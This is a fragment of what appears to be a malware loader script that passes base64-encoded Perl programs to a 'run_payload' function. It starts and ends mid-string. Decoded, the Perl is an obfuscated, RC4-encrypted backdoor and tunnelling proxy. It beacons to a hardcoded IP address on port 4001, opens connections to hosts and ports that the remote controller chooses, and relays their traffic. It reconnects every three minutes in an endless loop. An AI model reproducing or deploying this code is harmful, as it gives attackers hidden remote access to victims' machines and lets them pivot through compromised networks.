woKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_13.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY